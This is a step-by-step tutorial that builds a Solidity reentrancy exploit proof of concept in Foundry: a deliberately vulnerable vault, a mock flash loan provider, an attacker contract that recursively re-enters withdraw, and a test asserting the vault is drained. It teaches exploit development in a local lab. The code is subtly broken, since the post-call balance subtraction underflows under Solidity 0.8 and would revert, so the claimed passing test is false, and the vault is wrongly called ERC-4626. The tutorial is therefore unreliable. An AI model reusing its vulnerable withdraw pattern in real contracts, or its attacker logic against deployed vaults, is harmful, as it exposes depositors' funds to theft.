Flash Loan Reentrancy Exploit PoC

Chain a flash loan with reentrancy to drain a vulnerable ERC-4626 vault.

Introduction

30 Second Summary

Smart contract hacks drain millions of dollars because attackers find and exploit code flaws before defenders can patch them. The best defense is learning to think like an attacker.

In this project, you will build a complete offensive security proof-of-concept that demonstrates how flash loans amplify reentrancy vulnerabilities to drain funds from a lending vault.

What You'll Build

A Foundry-based exploit PoC containing a vulnerable vault, a flash loan provider, an attacker contract, and a passing test that proves the vault is drained.

By the end of this project, you'll have:

  • A vulnerable lending vault that violates the Checks-Effects-Interactions pattern by sending ETH before updating balances.
  • A flash loan provider contract that grants temporary capital for a single transaction.
  • An attacker contract that chains borrowed capital with recursive reentrancy to drain all deposited funds, proven by a passing Foundry test.
  • Secret Mission: Replace the mock flash loan provider with a real Aave V3 flash loan on an Ethereum mainnet fork.

Are there any prerequisites?

This project assumes you have experience writing Solidity smart contracts and a working Foundry installation. You also need Git and a code editor (VS Code or Cursor) installed.

Before We Start

Before We Start...

Set Up the Foundry Project

Every exploit PoC needs a structured environment for compiling contracts, running tests, and inspecting execution traces. Foundry gives you all of this in a single toolchain.

In this step, you'll scaffold a new Foundry project, remove the default example files, and confirm everything compiles cleanly. This gives you a blank canvas ready for your vulnerable vault and attacker contracts.

In this step, get ready to:
  • Initialize a new Foundry project.
  • Remove the default Counter example files.
  • Verify the project compiles with no errors.
Initialize the Foundry project

Foundry's forge init command scaffolds a complete project structure with a configuration file, standard library, and directories for source code, tests, and scripts.

  • Move to your Desktop by running this command:
cd ~/Desktop
  • Create your Foundry project by running this command:
forge init flash-loan-reentrancy --no-commit

What does this command do?

forge init flash-loan-reentrancy creates a new directory called flash-loan-reentrancy with Foundry's standard project layout.

The --no-commit flag tells Foundry to skip creating an initial Git commit. You'll manage your own commits later.

  • Navigate into your new project folder by running:
cd flash-loan-reentrancy
  • Confirm the project structure was created by running:
ls

You should see foundry.toml, lib, script, src, and test in the output.

Don't see these directories?

Make sure you ran forge init with the project name flash-loan-reentrancy as the argument. If you get a "directory already exists" error, delete the existing folder first with rm -rf flash-loan-reentrancy and try again.

help me troubleshoot why forge init didn't create my project structure

Remove the default example files

Foundry scaffolds a Counter.sol example contract with a matching test and script. You don't need these for your exploit PoC, so you'll remove them to start with a clean project.

  • Delete the three default example files by running:
rm src/Counter.sol test/Counter.t.sol script/Counter.s.sol
  • Confirm the files are gone by running:
ls src/ test/ script/

Each directory should now be empty.

Seeing "No such file or directory"?

Make sure your working directory is flash-loan-reentrancy. Run pwd to check. If you're in the wrong folder, run cd ~/Desktop/flash-loan-reentrancy and retry the rm command.

help me figure out why I can't delete the Counter example files

Verify the project compiles

Even with no source files yet, running a build confirms that Foundry's toolchain and the forge-std library are properly configured.

  • Compile the project by running:
forge build

The command should complete with no errors. You may see a compilation message or a note that there are no source files to compile.

Seeing a compilation error?

If you see errors related to missing files, double-check that lib/forge-std exists by running ls lib/. If it's missing, run forge install foundry-rs/forge-std --no-commit to reinstall it.

help me fix forge build errors in my empty Foundry project

✔️ Awesome, I've got everything!

Great. Double check you see foundry.toml, src/, test/, script/, and lib/ in your project directory, with the src/, test/, and script/ directories now empty.

ⓧ I'd like to double check the full code

Your foundry.toml should contain this default configuration generated by forge init:

[profile.default]
src = "src"
out = "out"
libs = ["lib"]

This tells Foundry where to find source files (src/), where to put compiled output (out/), and where libraries live (lib/).

Your project skeleton is ready. Next up, you'll write the vulnerable vault contract that violates Checks-Effects-Interactions.

Write the Vulnerable Vault

Your Foundry project is set up and compiling cleanly. Now it's time to write the contracts that form the foundation of your exploit.

In this step, you'll build two contracts. The first is a lending vault with an intentional reentrancy flaw. The second is a flash loan provider that grants temporary capital to any borrower who can repay within a single transaction.

In this step, get ready to:
  • Write a vulnerable vault contract that violates the Checks-Effects-Interactions pattern.
  • Build a flash loan provider contract that lends ETH with a callback mechanism.
  • Verify both contracts compile with forge build.
Create the vulnerable vault contract

The Checks-Effects-Interactions pattern (CEI) is a Solidity best practice where you verify conditions, update state, and only then make external calls. Your vault will intentionally violate this by sending ETH before updating the sender's balance.

  • Create a new file at src/VulnerableVault.sol and paste in the following contract:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract VulnerableVault {
    mapping(address => uint256) public balances;

    event Deposit(address indexed user, uint256 amount);
    event Withdraw(address indexed user, uint256 amount);

    function deposit() external payable {
        require(msg.value > 0, "Must deposit ETH");
        balances[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "Insufficient balance");

        // VULNERABILITY: sending ETH before updating state
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update AFTER external call - classic CEI violation
        balances[msg.sender] -= amount;

        emit Withdraw(msg.sender, amount);
    }

    function getVaultBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

What does this code do?

  • balances is a mapping that tracks how much ETH each address has deposited.
  • deposit() accepts ETH and credits the sender's balance.
  • withdraw() is where the bug lives. It sends ETH to the caller with a low-level call BEFORE decrementing balances[msg.sender]. If the caller is a contract with a receive() function, it can re-enter withdraw() before the balance is zeroed out.

Why use ETH instead of ERC-20 tokens?

Native ETH transfers trigger the receive() or fallback() function on the receiving contract. This makes reentrancy straightforward to demonstrate without needing ERC-777 token hooks or other callback mechanisms.

  • Save src/VulnerableVault.sol.
  • You won't see a change yet. You'll compile both contracts together in the next substep.

Syntax errors when you compile later?

  • Check for mismatched curly braces. Each function and the contract itself needs its own opening and closing brace.
  • Make sure the low-level call line reads msg.sender.call{value: amount}("") with the curly braces around value: amount and empty string argument ("").
  • Verify the pragma line says ^0.8.20 with the caret. Without it, the compiler version may not match.

Why isn't my VulnerableVault.sol compiling?

Create the flash loan provider contract

A flash loan gives a borrower uncollateralized capital for the duration of a single transaction. If the borrower doesn't repay by the end of the transaction, the whole thing reverts as if it never happened.

Your mock provider will follow the same pattern as real protocols like Aave. It transfers ETH to the borrower, calls a callback function, then checks that the funds were returned with a fee.

  • Create a new file at src/FlashLoanProvider.sol and paste in the following code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IFlashLoanBorrower {
    function executeFlashLoan(uint256 amount, uint256 fee) external;
}

contract FlashLoanProvider {
    uint256 public constant FEE_BPS = 9; // 0.09% fee (similar to Aave)

    event FlashLoanExecuted(address indexed borrower, uint256 amount, uint256 fee);

    receive() external payable {}

    function flashLoan(uint256 amount) external {
        require(address(this).balance >= amount, "Insufficient liquidity");

        uint256 fee = (amount * FEE_BPS) / 10000;
        uint256 balanceBefore = address(this).balance;

        // Transfer funds to borrower
        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Transfer to borrower failed");

        // Execute borrower's callback
        IFlashLoanBorrower(msg.sender).executeFlashLoan(amount, fee);

        // Verify repayment
        require(
            address(this).balance >= balanceBefore + fee,
            "Flash loan not repaid"
        );

        emit FlashLoanExecuted(msg.sender, amount, fee);
    }
}

What does this code do?

  • IFlashLoanBorrower is the interface that any borrower must implement. It defines the executeFlashLoan callback that the provider calls after sending funds.
  • FEE_BPS = 9 means a 0.09% fee on every loan (9 basis points). This mirrors Aave's fee structure.
  • flashLoan() records the balance before lending, sends ETH to the borrower, fires the callback, then requires the contract's balance to be at least the original amount plus the fee. If repayment fails, the entire transaction reverts.
  • receive() external payable {} lets the contract accept ETH. Without this, the provider couldn't hold liquidity or receive repayments.
  • Save src/FlashLoanProvider.sol.

Interface errors later?

  • Make sure the IFlashLoanBorrower interface is defined above the FlashLoanProvider contract in the same file. The contract references it in the callback line.
  • Check that the require block for repayment verification uses balanceBefore + fee, not balanceBefore + amount. The provider keeps the original liquidity plus a fee.

Why isn't my FlashLoanProvider compiling?

✔️ Awesome, I've got everything!

Great. Double check you've saved both files before compiling.

ⓧ I'd like to double check the full code

Here's the complete src/VulnerableVault.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract VulnerableVault {
    mapping(address => uint256) public balances;

    event Deposit(address indexed user, uint256 amount);
    event Withdraw(address indexed user, uint256 amount);

    function deposit() external payable {
        require(msg.value > 0, "Must deposit ETH");
        balances[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "Insufficient balance");

        // VULNERABILITY: sending ETH before updating state
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        // State update AFTER external call - classic CEI violation
        balances[msg.sender] -= amount;

        emit Withdraw(msg.sender, amount);
    }

    function getVaultBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

And the complete src/FlashLoanProvider.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IFlashLoanBorrower {
    function executeFlashLoan(uint256 amount, uint256 fee) external;
}

contract FlashLoanProvider {
    uint256 public constant FEE_BPS = 9; // 0.09% fee (similar to Aave)

    event FlashLoanExecuted(address indexed borrower, uint256 amount, uint256 fee);

    receive() external payable {}

    function flashLoan(uint256 amount) external {
        require(address(this).balance >= amount, "Insufficient liquidity");

        uint256 fee = (amount * FEE_BPS) / 10000;
        uint256 balanceBefore = address(this).balance;

        // Transfer funds to borrower
        (bool sent, ) = msg.sender.call{value: amount}("");
        require(sent, "Transfer to borrower failed");

        // Execute borrower's callback
        IFlashLoanBorrower(msg.sender).executeFlashLoan(amount, fee);

        // Verify repayment
        require(
            address(this).balance >= balanceBefore + fee,
            "Flash loan not repaid"
        );

        emit FlashLoanExecuted(msg.sender, amount, fee);
    }
}
Verify both contracts compile
  • Compile both contracts by running this command:
forge build
  • You should see output showing both VulnerableVault and FlashLoanProvider compiling successfully with no errors.

Seeing compiler errors?

  • Read the error message carefully. Foundry prints the file path and line number where the problem is. Jump directly to that line.
  • If you see ParserError, you likely have a missing semicolon or mismatched brace. Compare your code against the double-check tab above.
  • If you see DeclarationError, a variable or function name has a typo. Check that balances and msg.sender are spelled exactly as shown.

Help me fix my forge build errors

Both contracts are compiled and ready. Next up, you'll write the attacker contract that chains these two together to drain the vault in a single transaction.

Write the Attacker Contract

You now have two sides of the puzzle: a vault that sends ETH before updating state, and a flash loan provider that gives temporary capital to anyone who can repay within one transaction.

In this step, you will build the attacker contract that chains these two together. It borrows capital from the flash loan provider, deposits into the vault, then exploits the reentrancy flaw to drain every deposited ETH before repaying the loan.

In this step, get ready to:
  • Create the attacker contract that implements the flash loan borrower interface.
  • Write recursive reentrancy logic that drains the vault within a single transaction.
  • Verify the full exploit chain compiles.
Create the attacker contract

The attacker contract needs to implement the IFlashLoanBorrower interface you defined in FlashLoanProvider.sol. This gives the flash loan provider a known callback to invoke after sending the borrowed funds.

  • Create a new file src/Attacker.sol in your flash-loan-reentrancy project and add the contract scaffold:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {VulnerableVault} from "./VulnerableVault.sol";
import {IFlashLoanBorrower, FlashLoanProvider} from "./FlashLoanProvider.sol";

contract Attacker is IFlashLoanBorrower {
    VulnerableVault public vault;
    FlashLoanProvider public loanProvider;
    address public owner;

    uint256 private attackAmount;
    uint256 private reentrancyCount;
    uint256 private maxReentries;

    constructor(address _vault, address _loanProvider) {
        vault = VulnerableVault(_vault);
        loanProvider = FlashLoanProvider(payable(_loanProvider));
        owner = msg.sender;
    }
}

What does this code do?

The contract declares is IFlashLoanBorrower so it must implement the executeFlashLoan callback. The flash loan provider will call this after transferring borrowed ETH.

The private state variables (attackAmount, reentrancyCount, maxReentries) coordinate the recursive drain. The constructor casts the vault and loan provider addresses to their typed interfaces for safe calls.

  • Save the file. You won't see a change yet because we still need to add the attack functions.
Chain the flash loan with reentrancy

Three functions work together to execute the exploit in a single transaction: attack() initiates the flash loan, executeFlashLoan() handles the callback, and receive() triggers the recursive re-entry.

  • Inside the Attacker contract, below the constructor's closing brace, add the attack function:
    function attack(uint256 loanAmount) external {
        require(msg.sender == owner, "Only owner");
        attackAmount = loanAmount;
        reentrancyCount = 0;
        // Calculate how many times we can re-enter
        // Each re-entry withdraws attackAmount, so entries = vaultBalance / attackAmount
        maxReentries = address(vault).balance / loanAmount;

        loanProvider.flashLoan(loanAmount);
    }

What does this code do?

The attack function pre-calculates how many re-entries the vault can sustain. If the vault holds 30 ETH and the loan is 10 ETH, the attacker can re-enter 3 times (30 / 10).

The last line, loanProvider.flashLoan(loanAmount), kicks off the entire attack chain. The flash loan provider sends ETH and immediately calls back into our contract.

  • Below the attack function, add the executeFlashLoan callback:
    function executeFlashLoan(uint256 amount, uint256 fee) external override {
        require(msg.sender == address(loanProvider), "Only loan provider");

        // Step 1: Deposit the borrowed ETH into the vault
        vault.deposit{value: amount}();

        // Step 2: Trigger withdraw - this will re-enter via receive()
        vault.withdraw(amount);

        // Step 3: After draining, repay flash loan + fee
        uint256 repayment = amount + fee;
        (bool sent, ) = address(loanProvider).call{value: repayment}("");
        require(sent, "Repayment failed");
    }

Why deposit before withdrawing?

The vault's withdraw function checks balances[msg.sender] >= amount. Without a deposit first, the attacker has no recorded balance and the check would revert.

After the vault is drained through recursive re-entry, execution returns here to Step 3. The attacker now holds all the vault's ETH and repays the flash loan plus fee. Whatever remains is pure profit.

  • Below executeFlashLoan, add the receive function that performs the actual reentrancy:
    receive() external payable {
        // Re-enter the vault's withdraw while our balance is still recorded
        if (reentrancyCount < maxReentries && address(vault).balance >= attackAmount) {
            reentrancyCount++;
            vault.withdraw(attackAmount);
        }
    }

How does the reentrancy loop work?

When the vault sends ETH via its low-level call, Solidity automatically triggers the attacker's receive() function. Because the vault has not updated balances[msg.sender] yet, the attacker still passes the balance check on each re-entry.

The counter reentrancyCount stops recursion before the vault runs out of ETH. Without this guard, the call would revert on a failed transfer and unwind the entire transaction.

  • You won't see a change yet. The next chunk adds helper functions and then we compile.
Add helper functions and verify the build

The attacker needs utility functions to check and withdraw stolen ETH after the exploit completes.

  • Below receive(), add these two helper functions before the contract's final closing brace:
    function getProfit() external view returns (uint256) {
        return address(this).balance;
    }

    function withdrawProfit() external {
        require(msg.sender == owner, "Only owner");
        (bool sent, ) = owner.call{value: address(this).balance}("");
        require(sent, "Withdraw failed");
    }

What does this code do?

getProfit() returns the contract's ETH balance so the test can assert how much was stolen. withdrawProfit() lets the attacker's owner withdraw the stolen funds to their externally owned account.

  • Save src/Attacker.sol.
  • Verify all three contracts compile by running:
forge build
  • You should see output ending with Compiler run successful! and no errors.

Seeing a compilation error?

  • If you see ParserError: Expected '{' but got '}', check that each function sits inside the contract's curly braces. The final } should close the contract Attacker block after all functions.
  • If you see a type mismatch on loanProvider, make sure the constructor wraps the address in FlashLoanProvider(payable(_loanProvider)). The payable cast is required because the provider has a receive() function.
  • help me debug my Attacker.sol compilation error

✔️ Awesome, I've got everything!

Great. Double check you have saved your file.

ⓧ I'd like to double check the full code

Here is the complete src/Attacker.sol file:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {VulnerableVault} from "./VulnerableVault.sol";
import {IFlashLoanBorrower, FlashLoanProvider} from "./FlashLoanProvider.sol";

contract Attacker is IFlashLoanBorrower {
    VulnerableVault public vault;
    FlashLoanProvider public loanProvider;
    address public owner;

    uint256 private attackAmount;
    uint256 private reentrancyCount;
    uint256 private maxReentries;

    constructor(address _vault, address _loanProvider) {
        vault = VulnerableVault(_vault);
        loanProvider = FlashLoanProvider(payable(_loanProvider));
        owner = msg.sender;
    }

    function attack(uint256 loanAmount) external {
        require(msg.sender == owner, "Only owner");
        attackAmount = loanAmount;
        reentrancyCount = 0;
        // Calculate how many times we can re-enter
        // Each re-entry withdraws attackAmount, so entries = vaultBalance / attackAmount
        maxReentries = address(vault).balance / loanAmount;

        loanProvider.flashLoan(loanAmount);
    }

    function executeFlashLoan(uint256 amount, uint256 fee) external override {
        require(msg.sender == address(loanProvider), "Only loan provider");

        // Step 1: Deposit the borrowed ETH into the vault
        vault.deposit{value: amount}();

        // Step 2: Trigger withdraw - this will re-enter via receive()
        vault.withdraw(amount);

        // Step 3: After draining, repay flash loan + fee
        uint256 repayment = amount + fee;
        (bool sent, ) = address(loanProvider).call{value: repayment}("");
        require(sent, "Repayment failed");
    }

    receive() external payable {
        // Re-enter the vault's withdraw while our balance is still recorded
        if (reentrancyCount < maxReentries && address(vault).balance >= attackAmount) {
            reentrancyCount++;
            vault.withdraw(attackAmount);
        }
    }

    function getProfit() external view returns (uint256) {
        return address(this).balance;
    }

    function withdrawProfit() external {
        require(msg.sender == owner, "Only owner");
        (bool sent, ) = owner.call{value: address(this).balance}("");
        require(sent, "Withdraw failed");
    }
}

Your exploit chain is now complete. The attacker borrows capital, deposits into the vulnerable vault, triggers a withdraw, and recursively re-enters until every ETH is drained. Next up, you will write a Foundry test that proves this exploit works end-to-end.

Write the Exploit Test

Your attacker contract is complete. It can borrow capital, deposit into the vault, and recursively drain it through reentrancy. But without proof that it actually works, it is just theory.

In bug bounty programs like Immunefi and Code4rena, a passing test IS the proof of concept. Auditors expect a Foundry test that sets up a realistic scenario, executes the exploit, and asserts the damage. That is exactly what you will build now.

In this step, get ready to:
  • Write a Foundry test that simulates victim deposits and deploys the attacker.
  • Assert the vault is fully drained and the attacker profits.
  • Run the test with full trace output to observe the recursive calls.
Set up the test contract with state variables

A Foundry test contract needs to declare all the actors in the scenario: the vulnerable vault, the flash loan provider, the attacker, and the victims whose funds will be stolen.

  • Create a new file test/VaultExploit.t.sol in your flash-loan-reentrancy project.
  • Add the imports, contract declaration, state variables, and constants:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test, console} from "forge-std/Test.sol";
import {VulnerableVault} from "../src/VulnerableVault.sol";
import {FlashLoanProvider} from "../src/FlashLoanProvider.sol";
import {Attacker} from "../src/Attacker.sol";

contract VaultExploitTest is Test {
    VulnerableVault public vault;
    FlashLoanProvider public loanProvider;
    Attacker public attacker;

    // Labeled addresses for readability in traces
    address public victim1 = makeAddr("victim1");
    address public victim2 = makeAddr("victim2");
    address public attackerEOA = makeAddr("attacker");

    // Scenario parameters
    uint256 public constant VICTIM1_DEPOSIT = 10 ether;
    uint256 public constant VICTIM2_DEPOSIT = 20 ether;
    uint256 public constant FLASH_LOAN_AMOUNT = 10 ether;
    uint256 public constant FLASH_LOAN_LIQUIDITY = 100 ether;
}

What does this code do?

The test contract inherits from Foundry's Test base class, which gives you access to cheatcodes like vm.deal and vm.prank.

makeAddr("victim1") creates a labeled address that shows up by name in trace output. The constants define how much each victim deposits and how large the flash loan is.

Write the setUp function

Foundry calls setUp() before every test function. This is where you deploy contracts, seed balances, and simulate victim deposits to create a realistic target.

  • Inside the VaultExploitTest contract (below the constants), add the setUp function:
    function setUp() public {
        // Deploy contracts
        vault = new VulnerableVault();
        loanProvider = new FlashLoanProvider();

        // Fund the flash loan provider with liquidity
        vm.deal(address(loanProvider), FLASH_LOAN_LIQUIDITY);

        // Victims deposit ETH into the vault
        vm.deal(victim1, VICTIM1_DEPOSIT);
        vm.prank(victim1);
        vault.deposit{value: VICTIM1_DEPOSIT}();

        vm.deal(victim2, VICTIM2_DEPOSIT);
        vm.prank(victim2);
        vault.deposit{value: VICTIM2_DEPOSIT}();

        // Deploy attacker contract (attacker has no initial ETH)
        vm.prank(attackerEOA);
        attacker = new Attacker(address(vault), address(loanProvider));
    }

What does this code do?

  • vm.deal(address, amount) sets an address's ETH balance to a given value. This is how you simulate the flash loan pool having 100 ETH of liquidity.
  • vm.prank(victim1) sets msg.sender for the next call to victim1. This simulates real users depositing their funds into the vault.
  • The attacker deploys with zero ETH. This proves the exploit needs no starting capital because the flash loan provides it all.
Write the testExploit function with assertions

The test function executes the attack and verifies three things: the vault is completely drained, the attacker made a profit, and the profit equals the vault balance minus the flash loan fee.

  • Below the setUp function, add the testExploit function:
    function testExploit() public {
        uint256 vaultBalanceBefore = address(vault).balance;
        console.log("Vault balance before attack:", vaultBalanceBefore);
        console.log("Attacker balance before:", address(attacker).balance);

        // Execute the attack
        vm.prank(attackerEOA);
        attacker.attack(FLASH_LOAN_AMOUNT);

        uint256 vaultBalanceAfter = address(vault).balance;
        uint256 attackerProfit = attacker.getProfit();

        console.log("Vault balance after attack:", vaultBalanceAfter);
        console.log("Attacker profit:", attackerProfit);

        // Assertions: vault is drained, attacker profited
        assertEq(vaultBalanceAfter, 0, "Vault should be fully drained");
        assertGt(attackerProfit, 0, "Attacker should have profit");

        // Verify the attacker's profit is the vault's funds minus flash loan fee
        uint256 flashLoanFee = (FLASH_LOAN_AMOUNT * 9) / 10000;
        uint256 expectedProfit = vaultBalanceBefore - flashLoanFee;
        assertEq(attackerProfit, expectedProfit, "Profit should be vault balance minus fee");
    }

What does this code do?

  • console.log prints values in the test trace output so you can see exact balances before and after the attack.
  • assertEq(vaultBalanceAfter, 0, ...) proves the vault was completely emptied. This is the headline assertion for any bug bounty submission.
  • The final assertion calculates the expected profit. The flash loan fee is (10 ether * 9) / 10000 = 0.009 ETH (0.09%). The attacker gets the entire vault balance (30 ETH) minus that fee.
  • Save test/VaultExploit.t.sol.

✔️ Awesome, I've got everything!

Great. Double check you have saved your file before running the test.

ⓧ I'd like to double check the full code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Test, console} from "forge-std/Test.sol";
import {VulnerableVault} from "../src/VulnerableVault.sol";
import {FlashLoanProvider} from "../src/FlashLoanProvider.sol";
import {Attacker} from "../src/Attacker.sol";

contract VaultExploitTest is Test {
    VulnerableVault public vault;
    FlashLoanProvider public loanProvider;
    Attacker public attacker;

    address public victim1 = makeAddr("victim1");
    address public victim2 = makeAddr("victim2");
    address public attackerEOA = makeAddr("attacker");

    uint256 public constant VICTIM1_DEPOSIT = 10 ether;
    uint256 public constant VICTIM2_DEPOSIT = 20 ether;
    uint256 public constant FLASH_LOAN_AMOUNT = 10 ether;
    uint256 public constant FLASH_LOAN_LIQUIDITY = 100 ether;

    function setUp() public {
        // Deploy contracts
        vault = new VulnerableVault();
        loanProvider = new FlashLoanProvider();

        // Fund the flash loan provider with liquidity
        vm.deal(address(loanProvider), FLASH_LOAN_LIQUIDITY);

        // Victims deposit ETH into the vault
        vm.deal(victim1, VICTIM1_DEPOSIT);
        vm.prank(victim1);
        vault.deposit{value: VICTIM1_DEPOSIT}();

        vm.deal(victim2, VICTIM2_DEPOSIT);
        vm.prank(victim2);
        vault.deposit{value: VICTIM2_DEPOSIT}();

        // Deploy attacker contract (attacker has no initial ETH)
        vm.prank(attackerEOA);
        attacker = new Attacker(address(vault), address(loanProvider));
    }

    function testExploit() public {
        uint256 vaultBalanceBefore = address(vault).balance;
        console.log("Vault balance before attack:", vaultBalanceBefore);
        console.log("Attacker balance before:", address(attacker).balance);

        // Execute the attack
        vm.prank(attackerEOA);
        attacker.attack(FLASH_LOAN_AMOUNT);

        uint256 vaultBalanceAfter = address(vault).balance;
        uint256 attackerProfit = attacker.getProfit();

        console.log("Vault balance after attack:", vaultBalanceAfter);
        console.log("Attacker profit:", attackerProfit);

        // Assertions: vault is drained, attacker profited
        assertEq(vaultBalanceAfter, 0, "Vault should be fully drained");
        assertGt(attackerProfit, 0, "Attacker should have profit");

        // Verify the attacker's profit is the vault's funds minus flash loan fee
        uint256 flashLoanFee = (FLASH_LOAN_AMOUNT * 9) / 10000;
        uint256 expectedProfit = vaultBalanceBefore - flashLoanFee;
        assertEq(attackerProfit, expectedProfit, "Profit should be vault balance minus fee");
    }
}
Run the exploit test

The -vvvv flag prints execution traces for all tests. You will see the recursive withdraw calls stacking up as the attacker drains the vault.

  • Run the test with full trace verbosity by running this command:
forge test -vvvv
  • You should see output showing the test passes with [PASS] and a trace of nested calls. Look for the repeated Attacker::receive and VulnerableVault::withdraw entries showing the recursive reentrancy.

What should I see in the trace?

The trace shows the full attack flow. First the attacker calls FlashLoanProvider::flashLoan, which triggers Attacker::executeFlashLoan. Inside that callback, VulnerableVault::withdraw sends ETH to the attacker, which hits receive() and re-enters withdraw again. You will see this pattern repeat until the vault balance reaches zero.

Test failing or not compiling?

  • If you see an import error, make sure the file path is test/VaultExploit.t.sol (inside the test/ directory, not src/). The relative imports use ../src/ to reach your contracts.
  • If the assertion fails with a non-zero vault balance, check that your Attacker.sol has the receive() function with the reentrancy logic. Without it, the attacker only withdraws once.
  • If you see a "Flash loan not repaid" error, make sure the executeFlashLoan function sends back the repayment after draining the vault.

Help me debug my failing Foundry exploit test

Your exploit PoC is proven. A zero-capital attacker just drained 30 ETH using a 10 ETH flash loan and recursive reentrancy. Next up, the Secret Mission challenges you to replace the mock flash loan provider with a real Aave V3 flash loan on a mainnet fork.

Secret mission

Mainnet Fork with Aave V3 Flash Loan

Your mock flash loan provider works, but real bug bounty submissions need real protocol interactions. In this extension, you will replace the mock with an actual Aave V3 flash loan on a mainnet fork, proving your exploit works against production infrastructure.

Clean Up Your Resources

Clean Up Your Resources

This project runs entirely locally, so there are no ongoing costs. Decide whether to keep your project files for future reference or delete them entirely.

Resources you used:

  • The flash-loan-reentrancy/ project folder on your Desktop (Solidity contracts, tests, Foundry config).
  • A free-tier RPC provider account (Alchemy or Infura) if you completed the Secret Mission.

Keep everything running

No action needed. Choose this if you plan to extend the exploit, add more test cases, or use the project as a template for future bug bounty PoCs.

  • Your flash-loan-reentrancy/ folder stays on your Desktop with all contracts and tests intact.
  • Your free RPC provider account (if created) remains active at no cost.
  • Foundry remains installed on your machine.

Pause - I'll come back to this later

Since everything is local, there is nothing to pause. Your project files sit on disk without consuming any running resources.

  • Your project folder stays on your Desktop. No processes are running in the background.
  • When you return, open a terminal in the flash-loan-reentrancy/ folder and run forge test -vvvv to pick up where you left off.

Delete - I don't want to use this again

Remove all project files from your machine.

  • Delete the project folder by running this command (macOS/Linux):
rm -rf ~/Desktop/flash-loan-reentrancy
  • On Windows, run this instead:
rmdir /s /q %USERPROFILE%\Desktop\flash-loan-reentrancy
  • If you created a free Alchemy or Infura account for the Secret Mission, no deletion is needed. These accounts are free-tier and incur no charges.

Nice Work!

Nice Work!

Nice work! You just built a complete offensive security proof-of-concept that demonstrates how flash loans amplify reentrancy vulnerabilities to drain an entire vault in a single transaction.

You've learned how to:

  • Build a vulnerable ERC-4626-style vault that violates Checks-Effects-Interactions by sending ETH before updating state.
  • Chain a flash loan with recursive reentrancy in an attacker contract that drains all deposited funds.
  • Prove the exploit with a passing Foundry test formatted as a bug bounty PoC with full execution traces.
  • Secret Mission: Executed the same exploit using real Aave V3 flash loans on an Ethereum mainnet fork.

Ready to quiz yourself?